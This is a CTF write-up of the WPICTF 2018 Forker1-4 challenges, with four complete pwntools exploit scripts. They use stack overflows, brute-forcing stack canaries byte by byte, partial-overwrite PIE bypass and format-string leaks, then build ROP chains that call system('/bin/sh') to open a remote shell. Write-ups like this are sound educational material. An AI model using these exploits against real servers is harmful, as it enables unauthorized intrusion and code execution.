WPICTF 2018: Forker[1-4] Writeup - Blind-ish ROP

By David Buchanan, 15th April 2018

Forker was a series of 4 challenges, each with minor changes. Here's a summary:

  • Forker1: Linux x86-64, basic stack smash, no NX, no ASLR, no PIE, no stack canary
  • Forker2: NX on, ASLR on, stack canary on
  • Forker3: PIE on
  • Forker4: No binary or libc provided

Just a quick note, the points given for each challenge were higher than most CTFs.

Forker1 - 200pt

nc forker1.wpictf.xyz 31337

redundant servers on 31338 and 31339

Hint: ASLR is disabled on the server

made by awg

This challenge was a TCP server which forks to handle each request. Therefore, the server binary should keep running at all times, in the background. This gives it several interesting properties, which I'll get on to.

When you connect to the server, it asks you for a password input. If you get the hardcoded password right, it prints a litecoin address.

$ nc localhost 31337
Please enter the correct password to get my secret ltc info
Password:INTERNET_FUNNY_MUNNY
You got the password right!
My litecoin address is LNpECGn9in6BGC8eaK87QawjzAXaWMht2b

The ltc address is useless however, we need to get a shell!

The check_password function looks like this:

As you can see, there is a hand-made gets-like function, which we can use to smash the stack. One slight catch is that the index variable will get overwritten before we get to the saved return address, but we can deal with that by simply overwriting it with the index of the saved return address itself.

Now that we have control of rip, what next? Given that ASLR is off and NX is off, you could just return onto the stack. However, I didn't feel like working out what the remote stack address was, so I opted for a return-to-libc approach. I also thought this might be more future-proof for the subsequent levels.

We still need to work out what the libc base address is, but that can be done by dprintfing a GOT entry. To call dprintf, we need to set the first argument, rdi to the socket file descriptor (Which in this case always ends up being 4), and the second argument, rsi to the address we want to print.

During the CTF, I used ROPgadget to find suitable gadgets:

$ ROPgadget --binary forker.level1 
Gadgets information
============================================================
...

0x0000000000400c13 : pop rdi ; ret
0x0000000000400c11 : pop rsi ; pop r15 ; ret
...

Unique gadgets found: 57

However, for my final solution, I let pwntools do the hard work of ROP generation.

Sidenote: The libc.so was not provided, so I had to work it out using https://libc.blukat.me/

Here's the exploit script I wrote:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
from pwn import *
context.clear(arch="amd64")

TESTING = False

SOCKFD = 4


elf = ELF("./forker.level1")

if TESTING:
	libc = ELF("/usr/lib/libc.so.6")
else:
	libc = ELF("./libc6_2.26-0ubuntu3_amd64.so")


def get_server():
	if TESTING:
		return remote("localhost", 31337)
	else:
		return remote("forker1.wpictf.xyz", 31337)


def do_rop(srv, rop):
	payload = chr(76+4+8)*77    # overwrite index var with offset of return address
	payload += rop
	
	assert("\n" not in payload) # this would break things
	
	srv.recvuntil("Password:")
	srv.sendline(payload)


def leak_mem(addr):
	srv = get_server()
	
	rop = ROP(elf, badchars="\n")
	rop.dprintf(SOCKFD, addr)
	
	log.info("memleak ROP:")
	print rop.dump()
	
	do_rop(srv, str(rop))
	
	resp = srv.clean(timeout=1)
	srv.close()
	
	return resp


# STAGE 1: leak libc address

libc_read = u64(leak_mem(elf.got["read"]) + "\0\0") # libc addresses end with 2 nulls
log.info("libc_read = " + hex(libc_read))

libc.address = libc_read - libc.sym["read"]
log.info("libc base = " + hex(libc.address))

# STAGE 2: ROP to victory

rop = ROP(libc, badchars="\n")
rop.dup2(SOCKFD, 0)
rop.dup2(SOCKFD, 1)
rop.dup2(SOCKFD, 2)
rop.system(next(libc.search("/bin/sh")))

log.info("system() ROP:")
print rop.dump()

srv = get_server()
do_rop(srv, str(rop))

srv.sendline("cat flag.txt")
srv.interactive()

Once we know where libc is, generating return-to-libc ROP is easy, and pwntools makes it even easier. Because of the server setup, we need to use dup2() to make sure the IO for /bin/sh goes via the socket.

Did I mention how awesome pwntools is yet?

From the flag, we can see that return-to-shellcode was the intended solution, but I like mine better :P.

Forker2 - 300pt

nc forker2.wpictf.xyz 31337

redundant servers on ports 31338 and 31339

libc: https://drive.google.com/file/d/1U4U3R_aynDh7db6KMX5rQYwHIwr2kxq0/view?usp=sharing

made by awg

This time, libc was provided, which makes things a bit easier. However, there is also a stack canary, which makes things a bit harder...

We can't overwrite the index variable any more (it moved?), which is a shame because otherwise we could use it to "jump over" the canary.

Because every time you connect, it is still the same parent program running, the canary value will be the same each time.

We can construct a payload where the server will either crash, or not crash, depending on whether the canary is correct, and brute-force the canary value one byte at a time.

Here's what I came up with:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
from pwn import *
context.clear(arch="amd64")

TESTING = False

TIMEOUT = 0.5
SOCKFD = 4
CANARY = "\0"  # canary always starts with 0
#CANARY = p64(0x286868b44296ee00) # uncomment if you already leaked the canary

elf = ELF("./forker.level2")

if TESTING:
	libc = ELF("/usr/lib/libc.so.6")
else:
	libc = ELF("./libc-2.26.so")


def get_server():
	if TESTING:
		return remote("localhost", 31337)
	else:
		return remote("forker2.wpictf.xyz", 31337)


def do_rop(srv, rop):
	payload = payload = "A"*(64+8)
	payload += CANARY
	payload += "A"*(8*5)
	payload += rop
	
	assert("\n" not in payload) # this would break things
	
	srv.recvuntil("Password:")
	srv.sendline(payload)


def leak_mem(addr):
	srv = get_server()
	
	rop = ROP(elf, badchars="\n")
	rop.dprintf(SOCKFD, addr)
	
	log.info("memleak ROP:")
	print rop.dump()
	
	do_rop(srv, str(rop))
	
	resp = srv.clean(timeout=TIMEOUT)
	srv.close()
	
	return resp


def server_is_dead(srv):
	resp = srv.clean(timeout=TIMEOUT)
	dead = "failed" not in resp # explicit failure is good!
	srv.close()
	return dead


# STAGE 0: Bruteforce the canary

while len(CANARY) < 8:
	for attempt in map(chr, range(0x100)):
		if attempt == "\n":  # we can't send \n
			continue
		srv = get_server()
		srv.sendline("A"*(64+8) + CANARY + attempt)
		if not server_is_dead(srv):
			CANARY += attempt
			log.info("FOUND CANARY BYTE {}/8".format(len(CANARY)))
			break
		elif attempt == "\xff":
			log.error("Failed to leak canary :(")

log.info("CANARY = " + hex(u64(CANARY)))

# STAGE 1: leak libc address

libc_read = u64(leak_mem(elf.got["read"]) + "\0\0") # libc addresses end with 2 nulls
log.info("libc_read = " + hex(libc_read))

libc.address = libc_read - libc.sym["read"]
log.info("libc base = " + hex(libc.address))

# STAGE 2: ROP to victory

rop = ROP(libc, badchars="\n")
rop.dup2(SOCKFD, 0)
rop.dup2(SOCKFD, 1)
rop.dup2(SOCKFD, 2)
rop.system(next(libc.search("/bin/sh")))

log.info("system() ROP:")
print rop.dump()

srv = get_server()
do_rop(srv, str(rop))

srv.sendline("cat flag.txt")
srv.interactive()

Bruteforcing the canary takes several minutes, but eventually a flag popped out:

WPI{Thats why you dont fork and expect canaries to work}

Forker3 - 500pt

nc forker3.wpictf.xyz 31337

redundant servers at ports 31338 and 31339

We now know that this one is exploitable thanks to NYUSEC.

libc: https://drive.google.com/file/d/1U4U3R_aynDh7db6KMX5rQYwHIwr2kxq0/view?usp=sharing

made by awg

The same again, but this time with PIE. This is annoying, because we don't know where to find our first stage ROP gadgets. Thankfully, we can bruteforce the return address in a similar way to the canary.

However, there is a slight shortcut we can take, using partial overwrites!

When check_password returns, it just so happens that rsi points to the second character of our input. If we partially overwrite the return address to point to one of the calls to dprintf, then we can use a format string to leak whatever we want. For the partial overwrite to work, we only have to brute-force 4 bits worth of ASLR, a lot easier than 64!

We can simply leak a libc address and start ROPing:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
from pwn import *
context.clear(arch="amd64")

TESTING = False

TIMEOUT = 0.6
SOCKFD = 4
CANARY = "\0"  # canary always starts with 0
#CANARY = p64(0xb480994d989c3d00) # uncomment if you already leaked the canary

# elf = ELF("./forker.level3") # We don't need this any more!

if TESTING:
	libc = ELF("/usr/lib/libc.so.6")
else:
	libc = ELF("./libc-2.26.so")


def get_server():
	if TESTING:
		return remote("localhost", 31337)
	else:
		return remote("forker3.wpictf.xyz", 31337)


def do_rop(srv, rop):
	payload = payload = "A"*(64+8)
	payload += CANARY
	payload += "A"*(8*5)
	payload += rop
	
	assert("\n" not in payload) # this would break things
	
	srv.recvuntil("Password:")
	srv.sendline(payload)


def server_is_dead(srv):
	resp = srv.clean(timeout=TIMEOUT)
	dead = "failed" not in resp # explicit failure is good!
	srv.close()
	return dead


# STAGE 0: Bruteforce the canary

while len(CANARY) < 8:
	for attempt in map(chr, range(0x100)):
		if attempt == "\n":  # we can't send \n
			continue
		srv = get_server()
		srv.sendline("A"*(64+8) + CANARY + attempt)
		if not server_is_dead(srv):
			CANARY += attempt
			log.info("FOUND CANARY BYTE {}/8".format(len(CANARY)))
			break
		elif attempt == "\xff":
			log.error("Failed to leak canary :(")

log.info("CANARY = " + hex(u64(CANARY)))

# STAGE 1: leak libc address

libc_leak = None
for i in range(1, 16):
	overwrite = i*0x1000 + 0xA03 # 0xa03 is one of the dprintf gadgets
	srv = get_server()
	payload = "A" + "woot 0x%18$016lx\0"
	payload += "A"*(64+8-len(payload))
	payload += CANARY
	payload += "A"*(8*2)
	payload += p64(SOCKFD)
	payload += "A"*(8*2)
	payload += p16(overwrite)
	
	srv.sendline(payload)
	
	srv.recvuntil("Password:")
	resp = srv.clean(timeout=TIMEOUT)
	print(resp)
	srv.close()
	
	if "woot" in resp:
		libc_leak = eval(resp.split()[1].strip()) # my exploit is exploitable, lol
		break

if not libc_leak:
	log.error("Failed to leak libc addr :(")

libc_base = libc_leak - libc.sym["__libc_start_main"]
# round to nearest page boundary to account for different libc
# on my system, the leaked addr is __libc_start_main+234
libc_base += 0x800
libc_base /= 0x1000
libc_base *= 0x1000

libc.address = libc_base

log.info("libc base = " + hex(libc.address))

# STAGE 2: ROP to victory

rop = ROP(libc, badchars="\n")
rop.dup2(SOCKFD, 0)
rop.dup2(SOCKFD, 1)
rop.dup2(SOCKFD, 2)
rop.system(next(libc.search("/bin/sh")))

log.info("system() ROP:")
print rop.dump()

srv = get_server()
do_rop(srv, str(rop))

srv.sendline("cat flag.txt")
srv.interactive()

And the flag was: WPI{Holy_shit_you_got_brop!}

Well, I didn't really use brop, but close enough.

Forker4 - 750pt

Yeah you guys don't even need a binary to get this one.

(proven solvable by rpisec)

nc forker4.wpictf.xyz 31337

redundant servers on 31338 and 31339

also have forker4-2.wpictf.xyz as well for you, if forker4 is too slow

glhf - awg

No binary or libc this time!

I used the same strategy as last time, but with a slight difference. With Forker3, I was slightly unlucky that it required a 2-byte partial overwrite, rather than just one. If we're lucky, we only need a 1-byte overwrite this time because the program has been moved around a bit. Because we don't know where anything is, we will still need to brute-force the value for the 1-byte overwrite.

The second catch is that the libc is unknown. Once we have access to dprintf, we can dump the stack to leak the PIE offset, then we can put the full address of the dprintf gadget on the stack, so that we can put pointers to other locations after it and get arbitrary reads with the format string.

Finally, we can leak some libc pointers, by a slightly painful process of getting a pointer to the PLT, then to the GOT. We can use these leaks to work out the libc version, again via https://libc.blukat.me/ . Once we have that, just ROP to system as before.

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
from pwn import *
context.clear(arch="amd64")

TESTING = False

TIMEOUT = 0.6
SOCKFD = 4
CANARY = "\0"  # canary always starts with 0
#CANARY = p64(0x670e29543ae3dc00) # uncomment if you already leaked the canary

if TESTING:
	libc = ELF("/usr/lib/libc.so.6")
else:
	libc = ELF("./libc6_2.23-0ubuntu10_amd64.so")


def get_server():
	if TESTING:
		return remote("localhost", 31337)
	else:
		return remote("forker4.wpictf.xyz", 31337)


def do_rop(srv, rop):
	payload = payload = "A"*(64+8)
	payload += CANARY
	payload += "A"*(8*5)
	payload += rop
	
	assert("\n" not in payload) # this would break things
	
	srv.recvuntil("Password:")
	srv.sendline(payload)


def server_is_dead(srv):
	resp = srv.clean(timeout=TIMEOUT)
	dead = "failed" not in resp # explicit failure is good!
	srv.close()
	return dead


def leak_mem(addr):
	srv = get_server()
	payload = "A" + "woot %6$s\0"
	payload += "A"*(64+8-len(payload))
	payload += CANARY
	payload += "A"*(8*2)
	payload += p64(SOCKFD)
	payload += "A"*(8*2)
	payload += p64(dprintf_gadget_addr)
	payload += "A"*8
	payload += p64(addr)
	
	assert("\n" not in payload)
	srv.sendline(payload)
	
	srv.recvuntil("woot ")
	resp = srv.clean(timeout=TIMEOUT)
	srv.close()
	
	return resp


# STAGE 0: Bruteforce the canary

while len(CANARY) < 8:
	for attempt in map(chr, range(0x100)):
		if attempt == "\n":  # we can't send \n
			continue
		srv = get_server()
		srv.sendline("A"*(64+8) + CANARY + attempt)
		if not server_is_dead(srv):
			CANARY += attempt
			log.info("FOUND CANARY BYTE {}/8".format(len(CANARY)))
			break
		elif attempt == "\xff":
			log.error("Failed to leak canary :(")

log.info("CANARY = " + hex(u64(CANARY)))

# STAGE 1A: leak PIE address

pie_leak = None
for attempt in map(chr, range(0x100)):
	if attempt == "\n":  # we can't send \n
		continue
	srv = get_server()
	payload = "A" + "woot 0x%14$016lx\0"
	payload += "A"*(64+8-len(payload))
	payload += CANARY
	payload += "A"*(8*2)
	payload += p64(SOCKFD)
	payload += "A"*(8*2)
	payload += attempt
	
	srv.sendline(payload)
	
	srv.recvuntil("Password:")
	resp = srv.clean(timeout=TIMEOUT)
	print(resp)
	srv.close()
	
	if "woot" in resp:
		pie_leak = eval(resp.split()[1].strip()) # my exploit is exploitable, lol
		break

if not pie_leak:
	log.error("Failed to leak PIE addr :(")

print(hex(pie_leak))

base_addr = pie_leak &~ 0xFFF
# 0xA00 is an educated guess, same as would be needed for forker3
dprintf_gadget_addr = base_addr + 0xA00 + ord(attempt)

# STAGE 1B: leak libc addresses

def chase_plt_pointer(addr):
	plt_offset = u32(leak_mem(addr)[:4], sign="signed")
	plt_addr = addr+4+plt_offset
	got_offset = u32(leak_mem(plt_addr+2)+"\0")
	return u64(leak_mem(plt_addr+6+got_offset)+"\0\0")

libc_dprintf = chase_plt_pointer(dprintf_gadget_addr+10)
log.info("libc_dprintf = " + hex(libc_dprintf))

libc_close = chase_plt_pointer(dprintf_gadget_addr-24)
log.info("libc_close   = " + hex(libc_close))

# ^^^ these two libc pointers are enough to find libc:
# https://libc.blukat.me/?q=dprintf%3Aa60%2Cclose%3A8e0

libc.address = libc_dprintf - libc.sym["dprintf"]

log.info("libc base = " + hex(libc.address))

# STAGE 2: ROP to victory

rop = ROP(libc, badchars="\n")
rop.dup2(SOCKFD, 0)
rop.dup2(SOCKFD, 1)
rop.dup2(SOCKFD, 2)
rop.system(next(libc.search("/bin/sh")))

log.info("system() ROP:")
print rop.dump()

srv = get_server()
do_rop(srv, str(rop))

srv.sendline("cat flag.txt")
srv.interactive()

And the flag was:

WPI{God_dammit_you_guys_learned_brop_for_real_this_time}